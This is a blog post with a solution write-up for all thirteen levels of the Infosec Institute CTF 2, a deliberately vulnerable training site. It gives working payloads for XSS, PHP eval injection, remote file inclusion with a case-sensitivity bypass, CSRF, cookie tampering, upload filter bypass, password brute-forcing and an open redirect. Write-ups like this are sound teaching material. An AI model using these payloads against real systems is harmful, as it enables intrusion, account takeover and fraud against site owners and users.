Infosec Institute (www.infosecinstitute.com) released the second version of their bounty awarded CTF (available here http://ctf.infosecinstitute.com/ctf2/). I didn't submit a writeup last time because I got stuck on the last level, but this time I was able to complete all the levels.
Here's the full writeup.
Level 1
In the first level we are asked to exploit a XSS vulnerability on the page.
I started by analyzing the behavior of the website with non-tainted values.
We can see that our reflections are outside any HTML tags. This means that to trigger XSS we definitely need to use the characters < and > to inject javascript.
However the page is performing this validation by replacing these chars for their correspondent HTML entities:
The only problem is that this check is being done client-side :)
This means that we can easily bypass it. So let's inject the XSS payload on the "Site URL" parameter by entering the payload requested in the objective: <script>alert("Ex1")</script>. When I clicked the "Add Link" button, the page responded with message saying "Please enter an URL". This check is being performed by Javascript since there are no requests done by the browser. We could attempt to bypass this validation by changing the Javascript code, but lets see if we can bypass it just by prepending our payload with a valid URL.
I then tried to use http://mysite/<script>alert("Ex1")</script> and before hitting the "Add Link" button I set a breakpoint on the line below the site name and URL attributions and validations, and then submitted the form.
The manipulated payload was accepted!
When the breakpoint is hit, we can go to the Javascript console (I used the Firebug extension), and modify the variables siteName and siteURL to get the user inputted raw values without the replace part:
I ran this code and after that I just let the code from the web page run normally. The injection is then done successfully and we see our alert being triggered:
After closing the alert message, we see the success message:
Level 2
This is level 2:We need to inject PHP code to "show information about Apache and things like PHP version". This is of course the phpinfo() function.
So let's analyze the behavior of the application with normal parameters:
And then with manipulated operands, for example by appending a semi-colon after the number.
The application is validating the operands. That means that it's probably not validating the operator parameter.
Since we are to inject PHP, we can assume that the code on the server side is something like the following (eval doesn't return the value this way, but you get the logic):
$result = eval("$paramA $operand $paramB;");
So what we need to do is to inject phpinfo() without breaking the other code. So we need to terminate the first statement, inject our code and end it's statement as well. The last part shouldn't be a problem because the code 2; is valid PHP, it just doesn't do anything.
So our injection should be ;phpinfo(); which would result on an eval like this:
$result = eval("1;phpinfo();2;");
Using Burp's intercepting proxy or the Repeater tool, we can generate this request:
Which successfully exploits the vulnerability.
Level 3
In this challenge we need to gain the role "Admin".We also have the indication that this is a vulnerability on the parameter delimiter.
If we check the OWASP page regarding this vulnerability (https://www.owasp.org/index.php/Parameter_Delimiter) we see some interesting examples with the delimiter pipe (|)
However in this case the delimiter is not the pipe symbol. We know this because if we register an account with username "h4x0r|" for example, the registration is complete without any issue and the login also works.
So after trying probable delimiter chars I noticed that when I used a newline more than once in the register POST like this:
I received the following error:
So the newline is surely the delimiter here.
It's just a matter of finding where to use it. So I started to test each parameter at a time. At some point I tried to register again using the following POST data:
The registration was completed so I logged in. After logging in, I noticed that the role was being replaced by 'someothername':
So I finally found a way to manipulate the role.
So now to reach our objective, I just needed to repeat the process but replacing "someothername" by "role: Admin"
This is the final POST:
which results on the solution:
Level 4
I've spent a lot of time in this level due to some silly thing.But let's start from the beginning. By clicking any of the top menus, we are forwarded to ex4.php?file=fileX.txt, where X could be 1, 2 or 3.
First thing we need to understand is if the file parameter is checking the filename pattern.
I started to test some modifications to the original file1.txt.
There were 2 different error messages when manipulating the file parameter. One was "Invalid file selected" which I assumed to be a failure in the pattern check and the other was "There is something else that you must do" which indicate that the file name is accepted but there is something else that is wrong.
Basically for the file pattern, it had to follow the pattern ".+file[0-9].txt.+". So valid filenames would be for example:
aafile5atxt, bbfile8Atxt, ccfile9.txt.php
The next step was trying to include the file from the root. For a long time I assumed that to reach the root of infosecinstitute.com, we needed to prepend ../../ to our payload to traverse the path to reach the root, but the reality is that we are actually on a sub-domain of infosecinstitute.com domain!
So we would never be able to reach the root using ../
After figuring this out, it's easy to conclude that this is not a LFI scenario, but a RFI one.
So the next step was to try RFI to http://infosecinstitute.com/. My first attempt was this:
http://ctf.infosecinstitute.com/ctf2/exercises/ex4.php?file=http://infosecinstitute.com/random.php
The site responded with "You are trying to add a remote URL.".
Nice, we have a specific error for RFI. This is what we need to bypass then. Since that at this point I've already checked the hints for this level, I knew that it should be related to the case sensitivity of the regex pattern applied. So I quickly changed my payload to
http://ctf.infosecinstitute.com/ctf2/exercises/ex4.php?file=HTTP://infosecinstitute.com/file1.txt.php
and I finally completed the level :)
Level 5
This was level 5:So we need to login in the application, but the problem is that the login button is disabled.
By looking at the source code, we can confirm just that:
We know that the button should forward us to the link login.html. We can follow that address manually but it just leads to a 404 Not Found page.
There were also no extra cookies or headers in the responses.
I began to wonder if the page could be checking the referer header to understand if we came from the login.html page.
So I tried to change the Referer header to http://ctf.infosecinstitute.com/ctf2/exercises/login.html. This was my full GET request:
And in the response, I got this:
Checking it out on the browser:
It's done!
Level 6
In this level we needed to exploit a Cross Site Request Forgery (CSRF). This is something I've been studying in the last few months so I found this to be quite simple.Here's the initial challenge screen:
First of all, we need to construct the URL requested in the objective. Given the site (site.com), the URI path (bank.php), parameters (transferTo) and values (555), we can easily guess that the link we need for our payload is:
http://site.com/bank.php?transferTo=555
Now we need to find a nice tag to exploit the vulnerability. The tag img is definitely a nice candidate because browsers load cross site images without any problems.
My first attempt was the following payload:
<img src="http://site.com/bank.php?transferTo=555" />
However, submitting this returned the error "Not quite right yet...". So I was on the right path, but something else needs to be tweaked. Maybe by writing full termination tags? Like this:
<img src="http://site.com/bank.php?transferTo=555"></img>
And in fact, this payload grant me the flag =)
Level 7
This level is about XSS.
We need to inject <h1>something</h1> on the page.
I started by entering random values on the form and checked the application behavior.
When we try to login, the following POST is performed:
The POST data is awkward. The credentials are going in a URL encoded format query in the parameter "data". Decoding the data parameter we get this:
name=h4x0r&pass=qweqwe&action=%2Fctf2%2Fexercises%2Fex7.php+++++++++++++++
We can decode it one more time to get this:
name=h4x0r&pass=qweqwe&action=/ctf2/exercises/ex7.php
Interesting. But let's check how this POST is being constructed. By looking at the source code, I've found this piece of Javascript code that looks important.
If the action input element doesn't end in exercises/ex7.asp, then the current location is used.
This is want we want anyway.
Since the objective states that we have to produce a link to give to others, then the solution must be in the way we manipulate the URL to get the injection. I started to check if the URL was reflected anywhere. It seemed to be reflected on the hidden input, because the action is our location HRef.
I tried messing with the URL with stuff like:
/ctf2/exercises/ex7.php?a=<h1>h4x0r</h1>
/ctf2/exercises/ex7.php#a=<h1>h4x0r</h1>
None of those worked. But then I remembered that you can add additional URI path right after the PHP page. All relative images and CSS styles will be broken but the PHP page will still run. Something like this:
/ctf2/exercises/ex7.php/a=<h1>h4x0r</h1>
Right after trying this, I saw that the reflection was being outputted without being escaped:
<input name="action" type="hidden" value='/ctf2/exercises/ex7.php/a=<h1>h4x0r</h1> '>
So now I just have to adjust my payload to terminate the previous tag. This way my final URI:
http://ctf.infosecinstitute.com/ctf2/exercises/ex7.php/a='><h1>h4x0r</h1>
This produced the following HTML:
<input name="action" type="hidden" value='/ctf2/exercises/ex7.php/a='><h1>h4x0r</h1> '>
And I finished the level:
I have the feeling that this could be solved using some other way because after all, I didn't need to bypass the the strange REGEX pattern in the Javascript code. It will be interesting to see how others solved it :)
Level 8
The vulnerability we need to explore is File Inclusion.We need to upload a file that must include javascript code.
The first step is to test the upload form. I started by trying to upload a Javascript file. This was
the multipart form-data sent:
The server returned an error message saying 'Your file does not have the proper extension.'
That means that we have to bypass this protection. I tried to change my filename to "poc.png.js" and the server returned the error 'The file was too big or the format is not supported. '. Interesting... It seems that we just bypassed the extension check :)
Next thing I tried was to change the content-type. Lots of web-apps validate their content based on this parameter. I changed it to 'text/plain' and now the server responded with 'File uploaded successfully'.
This was my final form-data:
So we have our file uploaded. Now we just need to include it.
There are some examples on the page that call previously uploaded images.
Example: http://ctf.infosecinstitute.com/ctf2/exercises/ex8.php?attachment_id=1
By incrementing the attachment_id value, we can see that our upload actually increased this counter. However, attempting to load our ID just results on a page saying 'This attachment is currently under review by our editors.'
So this is not the way. I went back to the image and checked what was the direct link by right-clicking it and choosing "View Image" on Firefox.
This toke me to the following URL: http://ctf.infosecinstitute.com/ctf2/ex8_assets/img/chess1.png
I wonder if my file is also located here somewhere... :)
I tried to change the image name to the name of my upload ("poc.png.js") to see if it was there and the page redirected me to the address http://ctf.infosecinstitute.com/ctf2/exercises/ex8.php?file=poc.png.js which was the exercise page with the success message!
Easy!
Level 9
This one was quite simple.It seems that we are logged in as John Doe and the objective is to log in as Mary Jane.
Since there are no GET parameters and we didn't enter any info on a form, the user controls must be done on HTTP headers or cookies.
I proxied the request on my Burp, and this is what the response HTTP headers look like:
The user is being given by the web server on a cookie!
It seems encoded, so lets first URL-decode it.
Original: Sk9ITitET0U%3D
URL-decoded: Sk9ITitET0U=
This is quite probably Base64 encoding. I tried to decode it and got:
Base64 decoded: JOHN+DOE
Great. So we just need to change this to MARY+JANE, re-encode it in Base64 and then in URL.
MARY+JANE > TUFSWStKQU5F
Since it doesn't have any equal padding there's no need to URL encode it.
Lets just change the cookie, and reload the page. This was my request made in the Repeater tool on Burp:
And the response was success:
Level 10
This was a fun level.The challenge says "This time you just want to cheat, not to really damage anything. You have two tasks: change your wins to be more or equal to 9999 and complete the game on the extreme difficulty (there must be a way around remembering all colors in just a blink of the eye)."
So we have two challenges: Get over 9999 wins and win the game on the extreme difficulty.
Getting over 9999 wins
We have to check out the javascript code for this. The application is all run on client-side, so we must understand the code and manipulate the values.
Browsing to the page dependencies, we see that the file that contains the code is app.js.
In this piece of code we see that the wins counter is being saved on this.data.stats. We need to access this variable, but it seems to be on a different context. Then I saw line 39:
So they are using HTML5 storage feature to store the data.
Let's see if we can get this data on the Javascript console:
Cool, it's indeed accessible using the localStorage.
So now we just need to modify the "wins" value with the following JS code (the pts variable isn't important):
localStorage["h4x0r"]='{"wins":10000, "loses":0, "pts":999}'
The win counter will update after a new game. So we can start a new game on Easy mode to see this reflected.
Great, we see our win score reflected in the game.
Win the game on Extreme difficulty
There's probably a way to understand which color is behind each gray square, but analyzing the code can take some time. One thing that immediately came to my mind is actually quite simple: We start the game, quickly take a screenshot when the colors show up and then we just need to play the level using our cheat screenshot.
Since the objective is just cheat, we can take advantage of this :)
This was my screenshot:
After this, I could resolve the puzzle just by checking out the screenshot for each square.
The success message was then shown:
Level 11
This level just basically tell us that we are blacklisted:This level is really simple and we also have a hint to guide us "what websites typically use to identify their users". We are obviously talking about cookies.
So I checked the proxy history on Burp Suite and I checked the response headers for this request:
As expected, we see a strange cookie called "welcome" with the value "no".
I sent the request to the Repeater tool and changed the cookie to welcome=yes and resubmitted the request.
And also as expected, the success message is returned:
Level 12
This level is about some password brute-forcing.Since we already have the user (admin), we just need to find the password.
This could be solved with various tools. I used the Intruder tool, on Burp Suite.
To start, I made a dummy form submit, caught the request on the Proxy and then sent it to Intruder.
On the Intruder, I added just a payload tag where the password is and on the payloads option, I just loaded a dictionary of the 500 worst password. We know that the password should be weak because Infosec team surely don't want hundreds of people brute forcing their server for hours :)
I started the Intruder and filtered my responses so that they didn't include the words "Incorrect username" and after some seconds, a result that wasn't a match appeared. It had the success message for this challenge.
We can then show the response on browser:
Level 13
Final level!We are told that there is some issue with the redirection. They tell us that we need to "redirect to a page on a remote server and send links to people fooling them to think they are accessing a different domain"
It's also easy to see that the URL address has a filename different from the others: ex13-task.php
We know that all exercises should have the same name template, so this one should be called ex13.php. By hovering the mouse over the level 13 on the menu, we can understand what's up.
The original link is http://ctf.infosecinstitute.com/ctf2/exercises/ex13.php?redirect=ex13-task.php
The main page of the level is handling a redirect parameter which states where to redirect the browser, in this case to ex13-task.php.
So our objective is to inject something from other domain here.
The first attempt would be to use http://ctf.infosecinstitute.com/ctf2/exercises/ex13.php?redirect=http://somedomain.net/
But the page respond with a 'Bad Redirect Parameter' message. So we need to bypass this parameter.
Something that I've learned a long time ago is that if you omit the schema on any URL inside a webpage, the browser will just use the same schema as the one used on the webpage. Meaning that if we are in a site called https://something.net/ and request an image or other external resource that points to //othersite.net/bla.jpg, the browser will assume the target page is in fact https://othersite.net/bla.jpg.
This was the second thing I've tried. I used the url:
http://ctf.infosecinstitute.com/ctf2/exercises/ex13.php?redirect=//somedomain.net/
And this is how I solved the final challenge:
I'm a true NINJA =)
Nice CTF from Infosec Institute. It was quite simple. Some things could be improved for future CTFs like not to restrict the regexes os the validations so much. An example of this was XSS challenge where they just say that the objective is to alert something, but a payload like alert(1) didn't work where alert("a") did work.
Other than that it was a nice set of challenge. Sometimes is good to remember the basics :)
No comments:
Post a Comment